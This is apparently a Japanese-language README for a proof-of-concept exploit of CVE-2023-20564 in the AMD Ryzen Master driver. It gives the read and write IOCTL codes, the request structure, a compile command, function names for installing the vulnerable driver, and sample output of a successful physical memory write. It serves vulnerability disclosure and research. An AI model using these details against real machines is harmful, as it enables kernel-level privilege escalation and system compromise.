CVE-2023-20564 - AMD Ryzen Master ドライバ物理メモリアクセス PoC

概要

このリポジトリには、AMD Ryzen Master ドライバの脆弱性 CVE-2023-20564 を実証する概念実証 (PoC) が含まれています。この脆弱性により、非特権ユーザーが任意の物理メモリを読み書きでき、特権昇格やシステム侵害の可能性が生じます。

脆弱性の詳細

CVE ID: CVE-2023-20564
CVSS スコア: 8.8 (高)
ベンダー: AMD
製品: AMD Ryzen Master ドライバ
影響を受けるバージョン: AMD Ryzen Master ソフトウェアの複数のバージョン
影響: 物理メモリの読み取り/書き込みアクセスによる特権昇格

技術的説明

AMD Ryzen Master ドライバ (AMDRyzenMasterDriverV17.sys) は、IOCTL ハンドラ内で検証が不十分であり、具体的には次のとおりです。

読み取り IOCTL: 0x81112F08 - 任意の物理メモリの読み取りを許可
書き込み IOCTL: 0x81112F0C - 任意の物理メモリの書き込みを許可

ドライバは以下を適切に検証できません。

物理メモリアドレス
サイズの境界
保護されたメモリ領域

これにより、悪意のあるアプリケーションが以下を実行できます。

カーネルの機密データ構造の読み取り
重要なシステムコンポーネントの変更
Windows カーネルの保護の回避
カーネルモードでの任意のコード実行の達成

必要なファイル

AMDRyzenMasterDriverV17.sys - 脆弱なドライバファイル
このリポジトリのソースコード

2. PoC のコンパイル

# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32

主要コンポーネント

メモリ構造

typedef struct _AMDReadStructure {
    LARGE_INTEGER PhysAddr;     // Physical address to read
    LARGE_INTEGER SizeAndData;  // Size and data buffer
    CHAR Buffer[1];             // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;

コア関数

ReadPhysicalMemory() - 物理メモリからの読み取り
WritePhysicalMemory() - 物理メモリへの書き込み
TestReadWriteVerify() - 完全なテストシーケンス
InstallDriverService() - ドライバのインストール
StopAndRemoveDriverService() - ドライバのクリーンアップ

出力例

===========================================
  AMD Ryzen Master Driver - Memory PoC    
===========================================

[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully

[*] Initializing driver connection...
[+] Driver connection established successfully

[!] TESTING READ/WRITE/VERIFY SEQUENCE

[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
    Read 8 bytes from 0x100000
    Data: 4D 5A 90 00 03 00 00 00

[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
    Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
    Wrote 8 bytes to 0x100000

[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
    Data: DE AD BE EF CA FE BA BE

[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!

技術的分析

IOCTL ハンドラの分析

脆弱なドライバは、主に2つの IOCTL を公開しています。

物理メモリ読み取り (0x81112F08)
- 入力: 物理アドレス + サイズ
- 出力: 指定されたアドレスのメモリ内容
- アドレス範囲の検証なし
物理メモリ書き込み (0x81112F0C)
- 入力: 物理アドレス + サイズ + データ
- 出力: なし
- 保護メモリ領域の検証なし

参考文献

注意: このツールは許可されたセキュリティテスト専用です。システムでテストする前に必ず適切な許可を得てください。

CVE-2023-20564

人気